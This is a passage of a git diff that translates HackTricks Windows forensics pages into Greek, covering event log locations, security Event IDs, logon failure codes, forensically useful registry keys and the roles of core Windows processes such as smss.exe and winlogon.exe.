πρόκειται να εκτελεστεί και πότε. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στο `\ProgramData\Microsoft\Windows\AppRepository\`\ +Αυτό το αποθετήριο έχει ένα **log** με **κάθε εγκατεστημένη** εφαρμογή στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή τα IDs των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικά. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Και **απεγκατεστημένων** **εφαρμογών** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events -Information that appears inside Windows events are: +Οι πληροφορίες που εμφανίζονται μέσα στα Windows events είναι: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- Τι συνέβη +- Χρονική σήμανση (UTC + 0) +- Χρήστες που εμπλέκονται +- Φιλοξενούμενοι που εμπλέκονται (hostname, IP) +- Περιουσιακά στοιχεία που προσπελάστηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την **.evtx** επέκταση. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Μπορούν να οπτικοποιηθούν από τον Windows Event Viewer (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -## Understanding Windows Security Event Logging +## Κατανόηση της Καταγραφής Γεγονότων Ασφαλείας των Windows -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την χωρητικότητα του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία. -### Key Event IDs for User Authentication: +### Κύριοι Κωδικοί Γεγονότων για Αυθεντικοποίηση Χρηστών: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Υποδεικνύει ότι ένας χρήστης αυθεντικοποιήθηκε επιτυχώς. +- **EventID 4625**: Σηματοδοτεί αποτυχία αυθεντικοποίησης. +- **EventIDs 4634/4647**: Αντιπροσωπεύουν γεγονότα αποσύνδεσης χρηστών. +- **EventID 4672**: Υποδηλώνει σύνδεση με διαχειριστικά δικαιώματα. -#### Sub-types within EventID 4634/4647: +#### Υποτύποι εντός του EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**: Άμεση σύνδεση χρήστη. +- **Network (3)**: Πρόσβαση σε κοινόχρηστους φακέλους. +- **Batch (4)**: Εκτέλεση παρτίδων διαδικασιών. +- **Service (5)**: Εκκινήσεις υπηρεσιών. +- **Proxy (6)**: Αυθεντικοποίηση μέσω proxy. +- **Unlock (7)**: Ξεκλείδωμα οθόνης με κωδικό πρόσβασης. +- **Network Cleartext (8)**: Μετάδοση κωδικού πρόσβασης σε καθαρό κείμενο, συχνά από IIS. +- **New Credentials (9)**: Χρήση διαφορετικών διαπιστευτηρίων για πρόσβαση. +- **Remote Interactive (10)**: Σύνδεση μέσω απομακρυσμένης επιφάνειας εργασίας ή υπηρεσιών τερματικού. +- **Cache Interactive (11)**: Σύνδεση με αποθηκευμένα διαπιστευτήρια χωρίς επαφή με τον ελεγκτή τομέα. +- **Cache Remote Interactive (12)**: Απομακρυσμένη σύνδεση με αποθηκευμένα διαπιστευτήρια. +- **Cached Unlock (13)**: Ξεκλείδωμα με αποθηκευμένα διαπιστευτήρια. -#### Status and Sub Status Codes for EventID 4625: +#### Κωδικοί Κατάστασης και Υποκατάστασης για το EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδηλώνει επίθεση αναγνώρισης ονόματος χρήστη. +- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψιάς κωδικού ή brute-force. +- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδώσει - Μπορεί να ακολουθεί μια επίθεση brute-force που έχει ως αποτέλεσμα πολλές αποτυχημένες συνδέσεις. +- **0xC0000072**: Ο λογαριασμός έχει απενεργοποιηθεί - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς. +- **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδηλώνει απόπειρες πρόσβασης εκτός των καθορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης. +- **0xC0000070**: Παράβαση περιορισμών σταθμού εργασίας - Μπορεί να είναι απόπειρα σύνδεσης από μη εξουσιοδοτημένη τοποθεσία. +- **0xC0000193**: Λήξη λογαριασμού - Απόπειρες πρόσβασης με λογαριασμούς χρηστών που έχουν λήξει. +- **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης. +- **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket. +- **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού. +- **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας. +- **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Αλλαγή Χρόνου**: Τροποποίηση του συστήματος χρόνου, μπορεί να θολώσει τη χρονολογία των γεγονότων. -#### EventID 6005 and 6006: +#### EventID 6005 και 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **Εκκίνηση και Τερματισμός Συστήματος**: Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 το τερματισμό του. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Διαγραφή Log**: Καθαρισμός των ασφαλιστικών logs, που συχνά είναι κόκκινη σημαία για κάλυψη παράνομων δραστηριοτήτων. -#### EventIDs for USB Device Tracking: +#### EventIDs για Παρακολούθηση Συσκευών USB: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: Πρώτη σύνδεση συσκευής USB. +- **10100**: Ενημέρωση οδηγού USB. +- **EventID 112**: Χρόνος εισαγωγής συσκευής USB. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Για πρακτικά παραδείγματα σχετικά με την προσομοίωση αυτών των τύπων σύνδεσης και ευκαιριών εξαγωγής διαπιστευτηρίων, ανατρέξτε στον [αναλυτικό οδηγό της Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +Λεπτομέρειες γεγονότων, συμπεριλαμβανομένων των κωδικών κατάστασης και υποκατάστασης, παρέχουν περαιτέρω πληροφορίες σχετικά με τις αιτίες των γεγονότων, ιδιαίτερα αξιοσημείωτες στο Event ID 4625. -### Recovering Windows Events +### Ανάκτηση Γεγονότων Windows -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. **Bulk_extractor**, ένα εργαλείο ανάκτησης που προσδιορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων. -### Identifying Common Attacks via Windows Events +### Αναγνώριση Κοινών Επιθέσεων μέσω Γεγονότων Windows -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Για έναν ολοκληρωμένο οδηγό σχετικά με τη χρήση των Windows Event IDs στην αναγνώριση κοινών κυβερνοεπιθέσεων, επισκεφθείτε τον [Red Team Recipe](https://redteamrecipe.com/event-codes/). -#### Brute Force Attacks +#### Επιθέσεις Brute Force -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +Αναγνωρίσιμες από πολλαπλές καταγραφές EventID 4625, ακολουθούμενες από ένα EventID 4624 αν η επίθεση είναι επιτυχής. -#### Time Change +#### Αλλαγή Χρόνου -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την ανάλυση εγκληματολογίας. -#### USB Device Tracking +#### Παρακολούθηση Συσκευών USB -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +Χρήσιμα System EventIDs για την παρακολούθηση συσκευών USB περιλαμβάνουν 20001/20003/10000 για αρχική χρήση, 10100 για ενημερώσεις οδηγών και EventID 112 από το DeviceSetupManager για χρονικές σφραγίδες εισαγωγής. -#### System Power Events +#### Γεγονότα Ικανότητας Συστήματος -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον τερματισμό. -#### Log Deletion +#### Διαγραφή Log -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή των logs, ένα κρίσιμο γεγονός για την ανάλυση εγκληματολογίας. -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..96de814cd 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# Ενδιαφέροντα Κλειδιά Μητρώου Windows -### Interesting Windows Registry Keys +### Ενδιαφέροντα Κλειδιά Μητρώου Windows {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Πληροφορίες Έκδοσης και Ιδιοκτήτη Windows** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- Βρίσκεται στο **`Software\Microsoft\Windows NT\CurrentVersion`**, θα βρείτε την έκδοση των Windows, το Service Pack, τον χρόνο εγκατάστασης και το όνομα του καταχωρημένου ιδιοκτήτη με σαφή τρόπο. -### **Computer Name** +### **Όνομα Υπολογιστή** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- Το όνομα υπολογιστή βρίσκεται κάτω από **`System\ControlSet001\Control\ComputerName\ComputerName`**. -### **Time Zone Setting** +### **Ρύθμιση Ζώνης Ώρας** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- Η ζώνη ώρας του συστήματος αποθηκεύεται στο **`System\ControlSet001\Control\TimeZoneInformation`**. -### **Access Time Tracking** +### **Παρακολούθηση Χρόνου Πρόσβασης** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- Από προεπιλογή, η παρακολούθηση του τελευταίου χρόνου πρόσβασης είναι απενεργοποιημένη (**`NtfsDisableLastAccessUpdate=1`**). Για να την ενεργοποιήσετε, χρησιμοποιήστε: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Εκδόσεις Windows και Service Packs -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- Η **έκδοση Windows** υποδεικνύει την έκδοση (π.χ., Home, Pro) και την κυκλοφορία της (π.χ., Windows 10, Windows 11), ενώ τα **Service Packs** είναι ενημερώσεις που περιλαμβάνουν διορθώσεις και, μερικές φορές, νέες δυνατότητες. -### Enabling Last Access Time +### Ενεργοποίηση Χρόνου Τελευταίας Πρόσβασης -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- Η ενεργοποίηση της παρακολούθησης του τελευταίου χρόνου πρόσβασης σας επιτρέπει να δείτε πότε άνοιξαν τελευταία τα αρχεία, κάτι που μπορεί να είναι κρίσιμο για την εγκληματολογική ανάλυση ή την παρακολούθηση του συστήματος. -### Network Information Details +### Λεπτομέρειες Πληροφοριών Δικτύου -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- Το μητρώο περιέχει εκτενή δεδομένα σχετικά με τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, που είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας δικτύου και των δικαιωμάτων. ### Client Side Caching (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης αποθηκεύοντας αντίγραφα κοινών αρχείων. Διαφορετικές ρυθμίσεις **CSCFlags** ελέγχουν πώς και ποια αρχεία αποθηκεύονται στην κρυφή μνήμη, επηρεάζοντας την απόδοση και την εμπειρία του χρήστη, ειδικά σε περιβάλλοντα με διαλείπουσα συνδεσιμότητα. -### AutoStart Programs +### Προγράμματα AutoStart -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- Τα προγράμματα που αναφέρονται σε διάφορα κλειδιά μητρώου `Run` και `RunOnce` εκκινούν αυτόματα κατά την εκκίνηση, επηρεάζοντας τον χρόνο εκκίνησης του συστήματος και ενδεχομένως αποτελώντας σημεία ενδιαφέροντος για την αναγνώριση κακόβουλου λογισμικού ή ανεπιθύμητου λογισμικού. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** όχι μόνο αποθηκεύουν προτιμήσεις για τις προβολές φακέλων αλλά παρέχουν επίσης εγκληματολογικά στοιχεία πρόσβασης φακέλων ακόμη και αν ο φάκελος δεν υπάρχει πια. Είναι ανεκτίμητα για τις έρευνες, αποκαλύπτοντας δραστηριότητα χρηστών που δεν είναι προφανής μέσω άλλων μέσων. -### USB Information and Forensics +### Πληροφορίες USB και Εγκληματολογία -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- Οι λεπτομέρειες που αποθηκεύονται στο μητρώο σχετικά με τις συσκευές USB μπορούν να βοηθήσουν στην ανίχνευση ποια συσκευές συνδέθηκαν σε έναν υπολογιστή, ενδεχομένως συνδέοντας μια συσκευή με ευαίσθητες μεταφορές αρχείων ή περιστατικά μη εξουσιοδοτημένης πρόσβασης. -### Volume Serial Number +### Αριθμός Σειράς Τόμου -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- Ο **Αριθμός Σειράς Τόμου** μπορεί να είναι κρίσιμος για την παρακολούθηση της συγκεκριμένης περίπτωσης ενός συστήματος αρχείων, χρήσιμο σε εγκληματολογικά σενάρια όπου πρέπει να καθοριστεί η προέλευση ενός αρχείου σε διάφορες συσκευές. -### **Shutdown Details** +### **Λεπτομέρειες Τερματισμού** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- Ο χρόνος και ο αριθμός τερματισμού (ο τελευταίος μόνο για XP) διατηρούνται στο **`System\ControlSet001\Control\Windows`** και **`System\ControlSet001\Control\Watchdog\Display`**. -### **Network Configuration** +### **Ρύθμιση Δικτύου** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- Για λεπτομερείς πληροφορίες διεπαφής δικτύου, ανατρέξτε στο **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. +- Οι πρώτοι και τελευταίοι χρόνοι σύνδεσης δικτύου, συμπεριλαμβανομένων των συνδέσεων VPN, καταγράφονται κάτω από διάφορες διαδρομές στο **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. -### **Shared Folders** +### **Κοινόχρηστοι Φάκελοι** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- Οι κοινόχρηστοι φάκελοι και οι ρυθμίσεις βρίσκονται κάτω από **`System\ControlSet001\Services\lanmanserver\Shares`**. Οι ρυθμίσεις Client Side Caching (CSC) καθορίζουν τη διαθεσιμότητα αρχείων εκτός σύνδεσης. -### **Programs that Start Automatically** +### **Προγράμματα που Ξεκινάνε Αυτόματα** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- Διαδρομές όπως **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** και παρόμοιες καταχωρήσεις κάτω από `Software\Microsoft\Windows\CurrentVersion` περιγράφουν προγράμματα που έχουν ρυθμιστεί να εκκινούν κατά την εκκίνηση. -### **Searches and Typed Paths** +### **Αναζητήσεις και Πληκτρολογημένες Διαδρομές** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- Οι αναζητήσεις του Explorer και οι πληκτρολογημένες διαδρομές παρακολουθούνται στο μητρώο κάτω από **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** για WordwheelQuery και TypedPaths, αντίστοιχα. -### **Recent Documents and Office Files** +### **Πρόσφατα Έγγραφα και Αρχεία Office** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- Τα πρόσφατα έγγραφα και τα αρχεία Office που έχουν προσπελαστεί σημειώνονται στο `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` και σε συγκεκριμένες διαδρομές έκδοσης Office. -### **Most Recently Used (MRU) Items** +### **Πιο Πρόσφατα Χρησιμοποιούμενα (MRU) Στοιχεία** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- Οι λίστες MRU, που υποδεικνύουν πρόσφατες διαδρομές αρχείων και εντολές, αποθηκεύονται σε διάφορα υποκλειδιά `ComDlg32` και `Explorer` κάτω από `NTUSER.DAT`. -### **User Activity Tracking** +### **Παρακολούθηση Δραστηριότητας Χρήστη** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- Η δυνατότητα User Assist καταγράφει λεπτομερείς στατιστικές χρήσης εφαρμογών, συμπεριλαμβανομένου του αριθμού εκτελέσεων και του τελευταίου χρόνου εκτέλεσης, στο **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. -### **Shellbags Analysis** +### **Ανάλυση Shellbags** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Τα Shellbags, που αποκαλύπτουν λεπτομέρειες πρόσβασης φακέλων, αποθηκεύονται στο `USRCLASS.DAT` και `NTUSER.DAT` κάτω από `Software\Microsoft\Windows\Shell`. Χρησιμοποιήστε **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** για ανάλυση. -### **USB Device History** +### **Ιστορικό Συσκευών USB** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** και **`HKLM\SYSTEM\ControlSet001\Enum\USB`** περιέχουν πλούσιες λεπτομέρειες σχετικά με τις συνδεδεμένες συσκευές USB, συμπεριλαμβανομένου του κατασκευαστή, του ονόματος προϊόντος και των χρονικών σημείων σύνδεσης. +- Ο χρήστης που σχετίζεται με μια συγκεκριμένη συσκευή USB μπορεί να προσδιοριστεί αναζητώντας τις βάσεις `NTUSER.DAT` για το **{GUID}** της συσκευής. +- Η τελευταία τοποθετημένη συσκευή και ο αριθμός σειράς τόμου της μπορούν να ανιχνευθούν μέσω `System\MountedDevices` και `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, αντίστοιχα. -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +Αυτός ο οδηγός συμπυκνώνει τις κρίσιμες διαδρομές και μεθόδους για την πρόσβαση σε λεπτομερείς πληροφορίες συστήματος, δικτύου και δραστηριότητας χρηστών σε συστήματα Windows, στοχεύοντας στην καθαρότητα και τη χρηστικότητα. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 06f914970..45f900446 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -2,105 +2,105 @@ ## smss.exe -**Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +**Διαχειριστής Συνεδρίας**.\ +Η Συνεδρία 0 ξεκινά **csrss.exe** και **wininit.exe** (**υπηρεσίες** **OS**) ενώ η Συνεδρία 1 ξεκινά **csrss.exe** και **winlogon.exe** (**συνεδρία** **χρήστη**). Ωστόσο, θα πρέπει να δείτε **μόνο μία διαδικασία** αυτού του **δυαδικού** χωρίς παιδιά στο δέντρο διαδικασιών. -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +Επίσης, οι συνεδρίες εκτός από τις 0 και 1 μπορεί να σημαίνουν ότι συμβαίνουν συνεδρίες RDP. ## csrss.exe -**Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +**Διαδικασία Υποσυστήματος Πελάτη/Διακομιστή**.\ +Διαχειρίζεται **διαδικασίες** και **νήματα**, καθιστά διαθέσιμη την **API** **Windows** για άλλες διαδικασίες και επίσης **χαρτογραφεί γράμματα δίσκων**, δημιουργεί **temp αρχεία** και χειρίζεται τη διαδικασία **τερματισμού**. -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +Υπάρχει μία **που εκτελείται στη Συνεδρία 0 και άλλη μία στη Συνεδρία 1** (έτσι **2 διαδικασίες** στο δέντρο διαδικασιών). Μία άλλη δημιουργείται **ανά νέα Συνεδρία**. ## winlogon.exe -**Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +**Διαδικασία Σύνδεσης Windows**.\ +Είναι υπεύθυνη για τη **σύνδεση**/**αποσύνδεση** του χρήστη. Εκκινεί το **logonui.exe** για να ζητήσει όνομα χρήστη και κωδικό πρόσβασης και στη συνέχεια καλεί το **lsass.exe** για να τα επαληθεύσει. -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +Στη συνέχεια, εκκινεί το **userinit.exe** που καθορίζεται στο **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** με κλειδί **Userinit**. -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +Επιπλέον, η προηγούμενη μητρώο θα πρέπει να έχει **explorer.exe** στο **κλειδί Shell** ή μπορεί να κακοποιηθεί ως μέθοδος **επιμονής κακόβουλου 